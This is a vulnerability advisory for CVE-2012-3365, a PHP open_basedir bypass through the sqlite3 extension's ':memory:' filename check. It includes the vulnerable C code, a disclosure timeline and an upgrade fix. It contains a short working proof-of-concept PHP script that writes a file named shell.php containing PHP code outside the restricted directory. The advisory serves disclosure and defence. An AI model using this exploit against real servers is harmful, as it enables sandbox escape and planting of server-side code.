PT-2012-14: Security Restrictions Bypass in PHP

Vulnerable software

PHP
Version: 5.4.4 and earlier; 5.3.14 and earlier

Application link:
<http://php.net/&gt;

Severity level

Severity level: Medium
Impact: Security Restrictions Bypass
Access Vector: Remote

CVSS v2:
Base Score: 5.0
Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVE: CVE-2012-3365

Software description

PHP (Hypertext Preprocessor) is a general-purpose script programming language that is widely used to develop web applications.

Vulnerability description

Positive Research Center detected “Security Restrictions Bypass” vulnerability in PHP application.

PHP 5.4.4/5.3.14 and earlier allows attackers to bypass open_basedir directive. The reason is that the system checks database title in PHP extention sqlite/sqlite3 and libsqlite in different ways. An attacker can create a file in sqlite database format outside open_basedir.

Vulnerability exists in /ext/sqlite3/sqlite3.c file. Here is the vulnerable code:

PHP_METHOD(sqlite3, open) { ... if (strncmp(filename, ":memory:", 8) != 0) { ... if (php_check_open_basedir(fullpath TSRMLS_CC)) { ... } } else { fullpath = estrdup(filename); }

Vulnerability exists in /ext/sqlite3/libsqlite/sqlite3.c file. Here is the vulnerable code:

const int isMemdb = (zFilename && strcmp(zFilename, ":memory:")==0) || (isTempDb && sqlite3TempInMemory(db));

Exploitation example:
The following PHP code allows attackers to create SQLite database outside open_basedir.
<?php mkdir(':memory:'); $database = new SQLite3(":memory:/../../shell.php"); $database->exec("CREATE TABLE foo (bar STRING)"); $database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')"); $database->close(); rmdir(':memory:'); ?>

How to fix

Update your software up to the latest version.

Advisory status

22.06.2012 - Vendor is notified
22.06.2012 - Vendor gets vulnerability details
19.07.2012 - Vendor releases fixed version and details
04.02.2013 - Public disclosure

Credits

The vulnerability has discovered by Sergey Bobrov, Positive Research Center (Positive Technologies Company)

References

<http://en.securitylab.ru/lab/PT-2012-14&gt;

Reports on the vulnerabilities previously discovered by Positive Research:

<http://ptsecurity.com/research/advisory/&gt;
<http://en.securitylab.ru/lab/&gt;